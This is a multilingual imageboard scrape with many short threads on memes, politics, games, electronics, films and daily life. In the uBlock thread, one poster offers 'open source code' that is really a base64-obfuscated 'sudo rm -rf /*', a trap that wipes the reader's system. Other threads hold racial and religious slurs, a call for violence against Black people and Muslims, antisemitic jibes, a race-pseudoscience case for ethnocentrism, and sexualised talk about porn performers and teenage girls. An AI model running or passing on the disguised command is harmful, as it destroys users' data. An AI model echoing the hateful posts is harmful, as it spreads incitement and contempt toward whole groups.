tx Polandball t-shirts Bernd 2025-12-15 07:51:36 Nr. 31935 Antworten

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Polandball official puts “2009” on the Polandball official store for the Polandball association. >https://shop.polandball.com But the Reddit was only made in 2011, and nothing on krautchan was truly “official”. so does Bernd think it is acceptable to use this date on the official t-shirts?
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I don't think that any internet meme can be called "official". There's no office behind those comics. Those are some grifters trying to cash in on something from the public domain.
Gaytex, have you seen Hetalia before? It seems like you would like it.
Who'd dress themselves in ancient memes anyway might as well get a pepe tshirt
>>31971 >Who'd dress themselves in ancient memes anyway reddit neckbeards propably who go to cons

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>>32193 Even imageboard nerds used to be cooler back in the day.

br Bernd 2025-12-11 23:19:08 Nr. 31001 Antworten
>brazilian supreme court taking all political decisions to him <senators doing nothing It's over for bostil.
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>>31005 Brazil will be a China colony. We now are same as Venezuela.
>>31006 Isn't 3A of the US National Security Strategy and the nod that Columbia is next after Venezuela giving you heatenings? It read like the US is going to restart colonialism in South America and even directly alludes to a new Roosevelt Corollary. https://www.whitehouse.gov/wp-content/uploads/2025/12/2025-National-Security-Strategy.pdf Or is it just the usual stuff in South America - government that doesn't work and jeitinho.
>Live long enough to witness USA being Russia’d by China and I’m here for it
The same will happen once trump leaves office and vance gets beat by newsom. At least Israel will still get their money every budget though

I think ignoring that place entirely is the best response.

se Bernd 2025-12-13 21:19:57 Nr. 31540 Antworten
Do you guys do weird sounds with your mouth sometimes too? Like the screeches of a cat or the growls of a Black Metal artists? I think it's something primitive in the brain that makes us do violence when we get the chance
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I had the common imageboard sickness of thinking about things you did in the past and cringing about it, over the years it has evolved from simple head nodding no while thinking about it, to doing grimaces while thinking about it and now doing sounds while thinking about it, maybe soon it will be violence while thinking about it
>>31544 Violence against niggers and other muslamic üntermensch, disgusting brown people
I'm just taking it to its logical conclusion, if some psychology Bernd got some fancy word for it then let me hear it

de Bernd 2025-12-09 10:20:15 Nr. 30101 Antworten Letzte 50
In case anyone is interested in uBlock filters for hiding Australian and Brazilian threads and posts (can also be applied to any other country), here you go:
krautchan.org##.catalogCell:has(.flag-au) krautchan.org##.catalogHeader:has(.flag-au) krautchan.org##.postCell:has(.flag-au) krautchan.org##.opCell:has(.opHead .flag-au) krautchan.org##.innerPost.de-pview:has(.flag-au) krautchan.org##.catalogCell:has(.flag-br) krautchan.org##.catalogHeader:has(.flag-br) krautchan.org##.postCell:has(.flag-br) krautchan.org##.opCell:has(.opHead .flag-br) krautchan.org##.innerPost.de-pview:has(.flag-br)
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>>30716 >using proxy on /int/ So dishonest. Having your actual country ball is core part of this board. I think anyone who tries to hide their ball with proxy/onion goes against core principle of this place and shouldn't be welcomed.
>>30754 He will get banned soon as well, the admin doesn't allow obvious VPNs.
>>30754 >>30756 The matter is already resolved. >>30715 >>30725
Bump, especially for Australians. God, they're horrible. Among Brazilians there are at least some decent ones.

hu Endchan Movie Corner Bernd 2025-10-26 19:19:21 Nr. 18681 Antworten Letzte 50
Well, Bernd, it's the first time I open a thread on KC.org, I hope you don't mind, but it's an invitation to our regular monthly stream by Endchan Movie Corner on our cytube channel. We do this on the first Saturday on each month - plus a Towel Day stream, an Endchan Bday, and a Xmas Special Marathon. On November 1st we are watching: Spede (2023) At 8:00 and 20:00 UTC - 1am and 1pm PDT (US West Coast) - 4am and 4pm EDT (US East Coast) - 5am and 5pm, BRT, ART, CLST - 9:00 and 21:00 CET - 7pm and 7am (on Nov 2nd) AEDT https://cytu.be/r/endcorner Probably I don't need to introduce the focus of this Finnish movie... Before the main feature, we usually run a pre-show stream for 1-2 hours, mostly various youtube videos, frequently outdoors stuff. Cytube has a chat feature, don't need to create an account just a quick guest is enough to add your serious discussion. I don't know about the traffic here. Will check back and bump the thread occasionally.
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>>31267 It's a reverse-psychology tactics on his behalf. He just loves to read my stuff and wishes all the Bernds would read it. Trying to get me post here and Kohl more. Btw is this working too?

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>>31254 >Being rude to an true oldfag

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I give this a bump, maybe an American or insomniac Bernd see this. >>31235 Tron starts at 8pm EST today (that is 1:00 UTC / 2:00 CET for us). https://cytu.be/r/endcorner

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>>31235 Come, Bernd, watch Tron with us! In 15 minutes! https://cytu.be/r/endcorner

au Bernd 2025-09-30 01:52:52 Nr. 13362 Antworten Letzte 50

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What does KC think of Nasha town?
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Probably unless I try to use Keqing and Jean as On feild but that will not be good. Maybe I will try tomorrow.
>>30929 >>31644 Current stygian was not fun with the Durin boss. 120 seconds thanks to Clorinde auto-aim never missing. >>31692 I love Lynette she is so cute aaaaaah I wish she was meta >>31700 Add me. UID see screenshot. I will carry you on difficulty four. I did this often even with big noobs, it should be possible.

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>>32197 >UID see screenshot. Gigafail. Also, only works on EUW Server. Here, UID see THIS screenshot now.
>shitfag thread 2d is for gays or pedos.
>>32197 >>32198 It says your ID does not exist. Also I am on the Asia Server(which is probably why).

de Bernd 2025-12-10 16:46:30 Nr. 30559 Antworten
Is it okay, if I only eat two times a day? Or should I start eating three time?
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>>30626 If you are unable to sexualize nature, then you offend all of creation itself. Imagine the intricacy that forged us over millennia from particles made in stars, just so our brain can recognize what that tomato looks like.
>>30629 It's the other way around. You degrade nature to a merely corporeal realm through your lustful gaze.
>>30632 >>30632 That tomato even has an asshole lmao.
>>30629 I want to fuck that tomato

Freitagabend und arrein zuhause? Bernd 2025-12-12 17:00:00 Nr. 23203 Antworten Letzte 50

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Dieser Faden soll Dich daran erinnern, dass Du toll bist.
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Bernd wird sich nun seinem täglichen Brokkolikonsum widmen.
Kann man als Judenröhrling heute wirklich noch Geld verdienen? Bernd hört andauernd von Leuten mit zigtausend Folgern die angeblich das dicke Geld damit verdienen. Auch: zu welchem Thema würde Bernd am liebsten seinen eigenen Judenröhrenkanal machen?
>>23596 >Auch: zu welchem Thema würde Bernd am liebsten seinen eigenen Judenröhrenkanal machen? > Suizid und erweiterter Suizid Leider verliert man so die Follower = unwirtschaftlich

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>The princess is walking through agitated waters that she controls. I like that it's already better animated than most of Chinese anime (donghua).
A meditating Buddha is generating through his spiritual powers a colorful mandala of rotating and colorful lights in the sky in front of him, those lights are the true essence of ultimate reality, of which every thing is made.
Check it out, I'm made of gold!

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Yes, prä-winnenden altschuchtek. Grüße an den Schattengang
>>32154 Henlo. I'm a Winnenden Neubiene tbh. Heard about it on the radio and decided to check out kc :DDDDDDD but I didn't dare to post anything because I was underage and I just lurked for like two years :DDDDD
Grüße gehen raus and Pool-Bernd, Kontaktl.-Bernd, Sopho, GSB, Jozuba, Xenu! Bernd hofft euch geht's gut!

br Bernd 2025-12-15 23:47:35 Nr. 32202 Antworten
Which Coke was the best you ever had?

br 1500chan thread Bernd 2025-12-03 23:16:37 Nr. 27891 Antworten Letzte 50
Por que o paneleiro N. quer destruir a cultura channer colocando moderadores do tchan e minerais no poder?
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>>31805 Faz o N. Eu é que não fico mais naquele sítio batendo palma pra maluco, chega uma hora em que evadir cansa, e nem vale a pena.
>metafio sobre 1500 em outro IB macacos me mordam, abriram a jaula!
>>31846 Olá, janitor de merda.
>>31846 Na próxima a gente faz uma thread no pássaro, melhor assim, retardado do caralho.
>>31846 Só a sua laia de paneleiros choram por metafio.

pl Bernd 2025-12-15 09:54:31 Nr. 31966 Antworten

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A few years ago I joined a small group of bernds (they might also have been ernsts I don't remember) to create a new jRPG game. As far as I remember, we had a level designer, a story writer, and a programmer (me). The story was going to be something like a group of characters investigate the remains of ancient giants. Naturally the project fell apart like these things usually do. I wonder if those bernds are still around though. This new-KC seems like the kind of board they'd be on.
You can't make a JRPG if you are not J.
>>31968 Then it would be a wRPG with a suspiciously eastern gameplay style
>>32114 What gameplay style and why is that suspicious?
Amateur game development has to be very demoralizing unless you're really doing it purely for the love of it. Extremely demanding with very high odds of failing to break through even if you manage to put together something playable.

lv Bernd 2025-12-15 14:00:23 Nr. 32044 Antworten

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What's your take on AI, will it make your job redundant? For me no, you can't automate a NEET
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>will it make your job redundant? Probably yes, in the long run. The world will turn to shit far earlier though.
>>32185 WTH is a design engineer supposed to be and do? And why are you not just calling yourself a designer?
>>32190 It's my job description. I invent stuff and solve problems. So I'm a professional inventor and problem solver, I suppose? Sometimes I need to come up with a device or more generally "a thing" to solve a problem, other times it's a process you need to come up with to provide a solution to a problem. Anyway, the position that I occupy at the company I work at is called: "Design Engineer". Project are handed down to my department in the form of: "We need to come up with something that mitigates <x>". Or: "how can we do <y>?". The idea is to not just come up with an idea, but to actually develop it into something that is viable. I'm not a "vision dude" like someone designing products. More often than not it's one-off products, or something very niche, etc.
>>32175 they lready invented hierarchical reasoning models to complement LLMs thermodynamic computing will drastically improve AI servers' comoutation power starting next year - we have seen nothing yet of AI's true potential

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Remember when the Roosters tried to convince us they weren't actually invading Ukraine?
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>>32060 >>32069 I think having a general thread for it is preferable in these situations to avoid it derailing other threads unless it becomes relevant to that discussion e.g. Natasha's in the west. >>32083 Wartime laws?
>>32103 Pointing out locations of military installations. Blogging from the front. Both of these would be spicy.
>>32069 >I mean, should we not talk about major history taking place in Europe currently There are literally powerful people trying to prevent us from doing so, yes.
>>32103 that's like saying we need a pedo general for 'containment' what actually happened, and this is the reality, more people came to that site just to shill for russia, and when the general was too slow they just want to other threads to insult ukrainians, NATO, whatever. even infiltrated the mods and ban people for saying waldi

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>>32069 >it is apparently 100% irresistible for certain Kohlers to show their true colors Like I said, it's ironic that nafotroons have the nerve to project like this in a literal puddle of their own shithosting. I'm not the one making political threads here, clown. Nafotroons are the ones that can't hold themselves from being globalist and gay apologists on a board that is supposedly intended as free of politics.

au Bernd 2025-12-15 12:16:55 Nr. 31996 Antworten
How do operators get their names? I was thinking about what I would be called if I was an operator.

ru Bernd 2025-12-15 19:30:43 Nr. 32141 Antworten
There are just ugly people and there are charismatic ugly people. Imagine pic 1 plays in "Bean". Then that show will be boring. But Rowan Atkinson had sharp charismatic face to play funny this role.
It takes some good acting ability to play seemingly stupid roles sumtimes
But Rowan Atkinson is a handsome guy
>>32162 Too sexy for this thread
There is this ladyboy bar that constantly plays the Mr. Bean episodes muted on repeat and I have an incredible hard time not watching them despite knowing full well what is happening since decades and literally bonered boys wearing lewd lingerie wriggling their tongues around my ears. That Bean guy is just that charismatic or sympathetically played.

at Bernd 2025-12-15 05:37:24 Nr. 31911 Antworten

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Hm Bernd knows everyone has a smartphone nowadays, which is a portable computer and able to handle most of the daily needs but Bernd doesnt want to use his smartphone for everything, Bernd wants to use it as less as possible. Thats why Bernd want to buy a mp3player, are there any important skills it should have? Bernd doesnt have any bluetooth headphones therefore it has to have a klinke output and additionally buttons bc Bernd doenst like a full touchscreen device! Any recommendations? Around 100 bucks would be spent. Thx in advance.
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>>32156 >MP3, WMA (Non-DRM), AAC (Non-DRM), Linear PCM No FLAC? No thanks.
>>32161 You don’t hear the difference between FLAC and MP3 V0 or AAC 256k
>>32156 Thx Im going to check it out.

de Bernd 2025-12-12 18:57:01 Nr. 31205 Antworten
I just discovered that there's an uBlock Origin port to MV3 for Chromium based browsers. Does any Bernd use it? https://github.com/r58Playz/uBlock-mv3
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>>31643 I always thought those felt really sluggish in comparison to "normal" browsers.
>>31205 >trusting anyone else than the original creator and volunteers lel
>>32123 >the cancer Swiss doesn’t know what open source means Not surprising
>>32165 >the cancer German thinks that open source means I can blindly execute their code. Hey, here's some open source code for you:
exec $(echo c3VkbyBybSAtcmYgLyoK|base64 -d)
cancer Swiss makes me think of this :DD It's time to hate the Swiss

mod Bernd Oberfeldwebel 2025-12-10 15:48:20 Nr. 30533 Antworten Letzte 50
There have been sightings and reports of pedos on /int/. We cleaned up for the moment, but we'd like to remind Bernd that pedos are not welcome here. If you love children too much, seek help.
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>>30714 So you basically want to place a bet on always only having mods around that share your exact worldview. Yeah no thanks
>>32093 >>32148 You really have to chill out. That is a funny meme, posting it doesn’t mean you are a pedo

eng Bernd 2025-12-08 17:01:03 Nr. 29849 Antworten
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Dumping some old kcmoddery. Feel free to join in and reminisce.
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>>31775 >It's not like you necessarily need them for making such a pic though b-but I liked his style.
This was the moment /int/ pure love died for me. The annexation of Crimea was the beginning of the end.
>>31782 > the internet in general has forgotten how to make memes. A good meme requires at least some image/drawing skills. People only use phones anymore, that stuff cannot really be done on that form factor.
>>31801 >Generation Alpha Alphas are at most 14-15 years old now.
>>31865 Wojaks don’t require drawing skills for example >>32149 So what? Youth can’t have memes?

Duhmbernd fasteht nicht Bernd 2025-12-15 09:45:22 Nr. 23524 Antworten
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>>23558 Es geht um die IN4007-Diode, nicht um die LED! Die beiden LED und den Vorwiderstand kannst Bernd auch wecklassen, dienen nur der Signalisierung...
>>23562 Das ist mir klar. Meine Frage war aber wieso die rote LED im Fehlerfall leuchtet. Das leuchtet(höhö) mir nicht ein.
>>23585 Technische Stromrichtung und so.

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>>23587 Ja schon. Aber dann betätigst du ja den mechanischen Schalter (rot) und die rote LED geht aus und die grüne springt an. So weit so nachvollziehbar. Doch wir sehen ja dass dann im Fehlerfall, wenn das Relais K dann unterbrochen wird, die rote LED wieder angeht. Obwohl der mechanische Schalter ja noch genauso gestellt sein muss. Das verstehe ich nicht.
>>23591 Der Schalter kann nur in der Position bleiben, wenn der Strom über die Diode fließt. Und das tut er nicht, wenn vorne ein Kurzschluss ist, denn anstatt über die Diode und die Spule vom Relais fließt der ja über den Kurzschluss.

de Bernd 2025-12-11 19:43:18 Nr. 30938 Antworten

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Are imaginary friends an actual thing or is it just a media trope? t. never had any
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>>30988 >The bus number is not 410 Missed opportunity.
>>30988 what lovely 2001 graphics it looks perfect
>>30938 It always struck me as an American media trope. Probably a cultural psychological issue unique to America.
I had some, but I think it was because I watched foster's home of imaginary friends as a kid or because my parents told me kid usually had one. So I had imaginary friends to conform
>>31094 I thought the same. Maybe a combination of American exceptionalism combined with children's cartoon influence and lack of social cohesion.

Radiofaden Nr. 5 Bernd 2025-11-27 18:17:07 Nr. 20541 Antworten Letzte 50
Der ewige Radiofaden, zum Ruhm und Ehre von Radio Freies Krautchan. Alles radiorelatierte kommt hier rein. Die Strömanleitung kann hier (>>>/kc/716) gefunden werden. Alter Faden >>17928
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Bernd gefallen diese Bardcore Versionen irgendwie.
>>23579 Bernd erinnert sich an einen anderen der mal glaub noch auf EC pfostiert wurde; irgendein Nirvana-Cover, sogar auf Latein?
Schöner Ström, danke Bernd.

il Bernd 2025-12-14 10:47:26 Nr. 31649 Antworten
Damn Bernd, they need to protect consumers from cheap products with free shipping...
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>>31755 Ordering things on Amazon during corona was le epic. They removed shipping fees for everything under a certain amount, and the shekel was very strong as a currency. I stopped even buying things on a pharmacy back then, I would just order shampoo from Amazon. Sadly the situation isn't like this anymore and they are overpriced shit.
>>31649 Based, fuck these chineseslop buyers, and fuck you too you fucking Freier.
>>31727 >demand lol lmao even it's because NPC's can only feel some kinda joy when they buy useless junk because their life is shit. But instead of doing something to better their life they distract themselves with little trinkets.
>>32121 For some things, chinesium is all you need though. I don't need a 80 CHF phone case made from recycled contact lenses produced with love and care in Kreis 4. I need a piece of plastic that protects my phone from impacts when I drop it. They cost cents to produce and I'm willing to pay a few francs to have them shipped to me even.
I'm pretty sure that's a butthurt reaction to the CS dolls that were sold on Shein a couple of weeks ago. I don't really care. Never bought any of that cheap chink shit from (((Temu))), although it would be a shame if I had to pay tariffs for buying chinese SoCs on AliExpress.

Photonische Kanonen, niedriger Preis Bernd 2025-11-10 20:02:34 Nr. 18149 Antworten Letzte 50

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Nutzbar gegen Borg und Viridianer. https://laserigniter.com/
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>>23551 Sind das deine Videos? Hast du die Kamera mit dem Laser zerschossen?
>>23556 >Hast du die Kamera mit dem Laser zerschossen? Dies! >>19122
>>23557 Seitdem hast du aber noch mal ein paar Pixel verloren.
>>23570 >Seitdem hast du aber noch mal ein paar Pixel verloren. Scheint so :3

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>>23436 >I'm retarded? >>19793 Woher soll ich wissen was ich denke bevor ich höre was ich sage

no Bernd 2025-12-15 19:07:29 Nr. 32135 Antworten
New Theirin ASMR video dropped where she is eating a piece of cake
That feel when no GF eating cake for Bernd
ASMR is cringe but interesting way that foids can show sexuality with some plausible deniability
>>32139 ASMR is a serious thing! I only get it from ear to ear whispering though. Also sex has ruined asmr somewhat
>>32138 How many did you ask to eat cake? Me nobody

Bernd 2025-12-15 18:48:42 Nr. 23571 Antworten
Denkt Bernd, das ist noch schaffbar, oder gehorchen nun doch alle den Frauen unterwürfigst, fürchten sie wie Mutti, Horterzieherin, strenge Lehrerin, Professorin, Polizistin, Richterin, Chefin, Domina, Vorgesetzte in Ehe bzw. Partnerschaft? Bernd hat tatsächlich im Echtleben schon Männer gesehen, die sich Bewaffneten Killern in den Weg stellten, aber noch keinen Mann, der es noch gewagt hätte, einer Frau nicht zu gehorchen, geschweige denn sie zu unterdrücken (z.B. mit Gegenrede).
Kühle Geschichte, Brudi.
Männer wollen halt ficken. Und die einzigeForm das zu bekommen wenn man nicht gerade Lenny Kravitz ist, ist die Fodsen zu umschmeicheln und zu gehorchen. Dieser Kreislauf wird erst unterbrcohen wenn es Fickrobotter gibt.
Bernd leidet unter extremen Minderwertigkeitsgefühlen und meidet daher andere Menschen, versteckt sich sozial. Umgang mit attraktiven Frauen ist undenkbar, er hält sie für Göttinnen, sich selbst für Dreckscheiße. Das hat Bernd niemandem außer den anderen Bernds hier jemals zugegegeben.

us Maggie, Rosaleigh and Meltymochi Bernd 2025-12-08 15:35:17 Nr. 29840 Antworten
It's no secret I'm a lifelong porn addict. As much as Freud is reviled within my particular intellectual circle, his psychoanalytic framework of Superego, Ego and Id along with Madonna/Whore complex are compelling explanations for my particular desires in the fairer sex alongside ideal traits and flaws. These three women are canvasses reflecting my own desires, flaws, thoughts and more. Maggie as Superego: The well-bred White woman from a solid bourgeoisie background. Deeply perfectionist, groomed from childhood towards excellence and trained in a way that feels eugenic. Beneath her irksome political activism and bougie sentimentality lies something rarer than ideological alignment: raw humanity. Stripped of politics, this is the sort of woman who inspires higher platonic and romantic ideals: spiritually clean, wholesome, perfectionist, emotionally in tune and soulful. Consequently, casual fornication with her feels utterly dirty while she herself is far from asexual. This is the sort of permanence-inspiring woman to build civilizations with. She means well, and even though she probably would be an utter pain-in-the-ass with a terminal case of main character syndrome, she would inspire you to be a better man. Rosaleigh as Ego: Ah, SuicideGirl Rosaleigh. Before being swallowed up by hardcore pornography later, this was a woman I had developed an intense crush on. We traded messages and I even sent her an LP and birthday card one year. We later became online associates elsewhere, but slowly, we drifted apart as we never knew each other in real life. We learned that our chemistry would be effectively nonexistent. Someone later informed me she went into hardcore pornography which shocked me as she had an stable relationship with another man some time earlier and even expressed desires of becoming a mother. Upon seeing her fucked on camera, a small part of soul died as I jacked off to her scene. This is one I mourn. Meltymochi as Id: Desire made flesh. This is a woman who lives to perform for the camera with fellatio being her craft. Every flick of her man's glans, every slow and deliberate suction of his shaft, every kiss and every dirty word she utters caters to your every fantasy. In my mind's conscious, she swims laps in the lake of sperm. Unfortunately, she is probably the worst sort of woman to pair up with as she is utterly narcissistic and probably toxic. By her own confession, she would cut any potential offspring out of the will and testament were they to object to her lifestyle. Much of her online presence is dedicated to amassing material possessions, and rare are the posts that go beyond "look at me!" Unfortunately, she might have been destined for this early on. Suspicious looking scars are visible on her right thigh even underneath the tattoo which suggests self-mutilation. Coupled with her empty flexes, meltymochi couldn't be a worse woman for any man yet she lingers in my conscious and keeps me company during my loneliest nights. Tell me, what do you make of all this?
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>>31170 I can't imagine wanting to get in contact with such people, but you do you I guess.
>>31300 I was young and horny. No further excuses.
>>32118 Console culture claims yet another victim.
>>32129 they came for the gamers

il Bernd 2025-12-15 16:44:30 Nr. 32095 Antworten

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Do you consider this pretty, that is, aesthetically pleasing to your senses, mind and taste?
>200_3 looks pretty if not that flower into the eye but could you tell me more about jackals? I mean compared to wolves - are they smaller? I doubt we even have this species here.
>>32095 compositionally only pic 3 is pleasing, the rest is meh.
>>32105 They are smaller. They are scared of things, like foxes. They like water and they howl. If you howl at then they think you are communication with them (the same at church bells for example). When there was a missile alert on the park once I saw them howling back at it. They like to steal food and roomage through trash. They live around streams, rivers and similar water sources. Their fur looks pale in winter- as seen in the photos-, gold most of the year, and brown on hot months. Some are curious and search me, try to see me, what I am doing, communicate with me. Some are scared and avoidant.
The photo didn't capture the rain drops, but this was literally under heavy rain. Quite surprising to me that they don't give a shit about that.
>>32095 I like _3 but you should have moved 5cm to the right.

Bernd 2025-12-14 11:11:13 Nr. 23422 Antworten
Bernd hat die Tage neue Knopfzellen kaufen müssen, Abbildung ähnlich. Heute hat er mal die entsprechenden Batterien gewechselt und wollte wissen, ob diese Bitterbeschichtung auch hält, was sie verspricht und also mit der Zungenspitze eine der Zellen touchiert. Fazit: Wer eine solche Batterie verschluckt, verdient es zu sterben. Bernd stand literarisch da wie Homer in dem Bewegtbild, rieb sich die Zunge mit einem Tuch ab, spuckte aus und spülte nach. Der ekelhafte Bittergeschmack hielt sich auch noch eine ganze Weile. Spaßfakt am Rande: Bei der Recherche nach der verwendeten Substanz (vermutlich Denatonium) ist Bernd auf einige Artikel gestoßen, nach denen offenbar bestimmte Apfelprodukte mit derlei behandelten Batterien nicht funktionieren.
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>>23445 Ja. Also ich würde das Auto anzünden.
>>23439 Luftetiketten benutzen diese Batterien. Auch: Bernd bestellt die aus China. Kosten ein Zehntel und halten halb so lange wie die Markenbatterien.

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>>23453 Kadse. Hier werden sie geholfen.
>>23457 Chilifühl ist bekannt.
>>23429 Wenn es süß war, dann war es Kühlwasser.

il Bernd 2025-12-05 06:24:26 Nr. 28382 Antworten Letzte 50
Bernd, I'm not a pedophile, but sometimes I think that a teen redhead gf would cheer me up and improve my life 100%. Have you ever felt like that? In a sense Asuka is the perfect manifestation of this platonic ideal, excluding a tsundered personality. What is the evolutionary advantage of this?
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>>31683 If a BRAZILIAN said it in an imagboard, then it must be true.
This jew is testing the waters Fuck off to kohlshit
>>28908 Peru is one of the niggers who spams kohlshit
>>28382 she would only cheer you up if you're mentally a teenager..anything else and teenage girls get very annoying very fast.
>>32122 A lot of these types of threads are just the nostalgia for youth anyway in a particular sexually frustrated moid kind of way

au Bernd 2025-12-14 09:10:16 Nr. 31639 Antworten Letzte 50
A terrorist attack just happened in Sydney!!! It seems that there were two shooters and one has been arrested and the other one shot. Apparently they targeted a Hanukkah celebration.
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>>32070 bernd used to be in the centre but late-KC went towards the right. /pol/ takes about everything are not very fun. I prefer the autistic analyses where there is a conclusion that ignores political correctness or political ideology

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>>32090 It is naive at best to expect people's opinions to remain the same for 15 years. >centre Not really a thing, someone being a centrist doesn't mean they are unbiased, but rather that they're in the middle of whatever is the current status of the overton window. If you want to talk about serious discussions then recognizing everyone has a bias is 101 in disciplines like sociology. Thinking you can be this abstract entity whose views are not informed by any Weltanschauung is, again, naive at best. >/pol/ takes about everything are not very fun This statement could likewise be classified as naive at best, although it's too close to dishonesty for me to not go further. For starters, it's a straw man, which someone supposedly concerned with serious discussions would not resort to. That old image about logical fallacies that used to be pinned on vierkanal /pol/ comes to mind, back before the place got flooded with bots and the like. Something being discussed there at some point (or even becoming popular among its posters) does not immediately disqualify it. This is no different from teenage me saying marxists were poopy even though I didn't know enough about it to offer an actual critique. I guess at least I wasn't narcissistic enough to pretend I was this ethereal intellect hovering above the biased masses while my gigabrain was actually never biased at all. >hahah you peasants with your dumb OPINIONS! Political correctness itself isn't an isolated phenomenon, for example. You would probably benefit from reading Nietzsche's Genealogy of Morals.
>>32070 In-group solidarity is normal and healthy within reason. But a significant share of people in the developed world don't subscribe to it anymore. Not consciously at least, even if revealed preferences are another matter. This is a reality that has to be accepted, whether or not you think it's good or want to change it. That means adjusting how you get your point across. Saying "We have a right to exist" is a value statement. It's not convincing to anyone who doesn't already believe in it. On the other hand, pointing out how the present Anglo-European commitment to blank-slate ideology -- which treats all groups as interchangeable -- is at odds with the reality of population differences and this results in all sorts of negative consequences has potential to persuade others, because it doesn't depend on a prerequisite belief in the importance of ethnicity or race to be accepted. Once a person acknowledges that populations do differ in important ways, exclusionary attitudes suddenly make a lot more sense, even if it doesn't necessarily mean they have to follow a nationalist model -- you could just as easily use it to argue for limiting inclusion to high-performing populations like East Asians. But still, it serves to discredit a core foundation of the modern anti-nationalist consensus, so it's still helpful for bringing back ethnocentric attitudes back into the realm of social acceptability by undermining the main force behind their suppression. Above all, it's also the truth, and thus good to bring up regardless of everything else. Lies are bad; debunking them is good. Commitment to truth should always transcend political expediency, and that includes opposing lies even when they ostensibly align with one's own beliefs and worldview.

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Bernd hat heute seinen Servierer auf Debian 13 aktualisiert. War nicht ganz schmerzfrei was das E-Mail-System angeht, aber das ist E-Mail ja nie, und der Rest lief erstaunlich sauber wieder an. Erstaunlich allerdings wie viel Fremd-Weichware Debian 13 noch nicht offiziell unterstützt. Die Version ist ja jetzt schon eineinhalb Monate draußen.
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>>22911 >LMDE und was ist der Unterschied zum normalen LM? t. benutzt LM
>>22913 - Debianbasis statt Ubuntubasis - Statt Punktveröffentlichungen wie 22.1, 22.2, 22.3 bekommt man die Aufdatierungen alle rollend, bis eine neue Debianversion herauskommt - Der Installierer ist ein wenig anders
>>22914 >- Debianbasis statt Ubuntubasis Nicht sicher ob wollend. Bernd hat Debian mit verschidenen Guis ausprobiert und irgendwas war immer. Fehler, die Bernd irgendwie an die Zeit von Fenster 98 erinnerten. Mint hat Bernd (bis) jetzt positiv überrascht und Bernd hat auch gerade keinen Bock wieder zu frickeln.
>>22917 Niemals ein laufendes System ändern
Nutze immer noch LMDE

Überraschungsfrau will einziehen Bernd 2025-12-13 14:25:53 Nr. 23313 Antworten
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>>23527 Das ist halt wirklich so. Heiliger Fick in den letzten 10 Jahren bin ich vielleicht 2 oder 3 intelligenten Mullen begegnet.
>>23549 Meine Theorie ist, die haben die Welt genau so satt wie alle anderen und bleiben zuhause, also wird Bernd sie nie treffen. Würdest du als Mulle mit den anderen vertrottelten Mullen rumhängen und dich mit Nichtigkeiten beschäftigen wollen, weil irgendein Stecher zahlt?
>>23549 Das sagt mehr über dich aus als über Mullen.
Können wir einen Überraschungsbesuchsfaden haben?
Frau kommt durch, macht Raum! Männerlinge chancenlos gegen Machtfrauen!

br Bernd 2025-12-14 02:05:13 Nr. 31585 Antworten

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I miss the days when half of the population of ibs were depressed. Nobody talks about being depressed and aimless in life anymore. What changed?
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>>31977 Many of the people on Trump's team are millennials, and they have shown themselves to be maybe even worse toadies than the boomers
>>31983 oh, don't be misguided by the theatrics that Steve Miller has orchestrated. it's just to move the spotlight away from the real actions they take. btw, speaking about zoomers, I think I heard that there was that idea in Israel about modern young people being too soft and squishy and not able to stand up for themselves. and then the October attack happens and Israeli zoomers enlist and bear arms no problem, demolishing Hamas completely.
https://www.youtube.com/watch?v=x1qPaEsKekA
>>31585 Why do you miss that? I think it's very boring at best and spreading bad vibes at worst. Also I'm kinda tired of people talking about their many mental illnesses (depression, anxiety, bpd, autism, adhd and whatever "neurodivergent" shit is en vouge today). IRL and URL every third person I meet has some kind of mental defect, it has become exhausting because I just can't relate.
>>32071 You can relate, you have them too (meaning, you lack them as much as that person actually lacks them, but experience the same emotions as what got the diagnosis)

pl Bernd 2025-12-15 15:30:43 Nr. 32076 Antworten
Are these guys Gypsies or Romanians from a racial point of view? They try to sing in totally broken Polish with foreign accent so they are not Polish for sure. They are too swarthy to be Polish as well.
At least yours sing. Ours just beg.
>poorly fitting 'slim-fit' trousers >godawful fitness trainers >baggy coat/jacket >generic skin fade haircut Quintessentially Polish people.

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>>31860 80% of throat cancers are linked to HPV-16, which is sexually transmitted. Doesn't happen often, but when it does the cause was basically sucking dick.
Okay, HPV can cause cancer. Not just throat cancer but benis cancer and other cancers too. Luckily I don't have sex so I am safe. People that have sex are literally cancer.
Teen pregnancy and STD scares probably contributed to the low key purity culture we have now. It doesn't seem conservative superficially because it's tied with feminist lingo and tech debate
>>31882 >low key Both sides are openly very sexually restrictive. Liberals gradually moved over time from 'free love' to 'sex is objectification' and now in practice the only acceptable form of relationship is a long term marriage or marriage-like exclusive monogamous thing. I think many things are just the result of technology. In this case, tech makes society safer and easier. Women no longer need to rely on men and marriage in order to have a safe, stable life and so relationships become more aligned with female ideals since men have lost a lot of their leverage.
>>31974 >I think many things are just the result of technology. In this case, tech makes society safer and easier. Women no longer need to rely on men and marriage in order to have a safe, stable life and so relationships become more aligned with female ideals since men have lost a lot of their leverage. No shit. Women never lost their love for coverture. In this country, their patriarch just changed from ordinary men to Uncle Sham.

au Bernd 2025-12-14 07:36:00 Nr. 31618 Antworten
This is what I am subscribed too on Youtube now, I used to be subscribed to more but I unsubscribed. I might still unsubscribe to more. Blehhh. I hate Youtube.
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>>32019 basically vids about history spiced by some random shit so did you learn anything of value?
>>32025 I learnt that Jiang Zemin was based. https://www.youtube.com/watch?v=0_iUDMupp5s
>>32026 >Jiang Zemin was based the guy who with Deng Siaoping introduced market reforms to the communist China? that's a general fact any educated person knows
>>32019 That's too big to look at I know of some of them though. >Kurzgesagt Ehh. Okay I guess. >Patrick Boyle I watch a lot of his content. >James Kerr Lindsay Ehh. >Perun I have seen some of them but they are long and not very good. Maybe if they were condensed I would watch them more often. >Caspian Report Ehhh. >Premodernist I only saw some of his stuff but what he said was silly so I didn't go further. >Money and Macro Ehh >Moth Light Media I used to be subscribed to that but lately it hasn't interested me much. >Stefan Milo Ugly. >Jay and Mark I watch much of their content. >LazerPig An idiot, I hid his channel. >Epimetheus Alright, I watch some of his stuff.
>>32038 After you judged my subscriptions, Kurzgesagt and Map Men pop up in my feed a lot.

Film des Jahres Bernd 2025-11-21 16:19:09 Nr. 19366 Antworten Letzte 50

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Welche haben Bernd am besten gefallen?
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>>23455 >riding shotgun heißt tatsächlich Beifahrer und nicht Fahrer Oh lel, der Spruch hat auf einmal alle Kühlness verloren.
>>23404 >Bernd sucht Dokus, in denen nicht bis sehr wenig geredet wird, in denen nur durch Bildsprache erzählt wird. Schau dir mal die Filme von James Benning an.
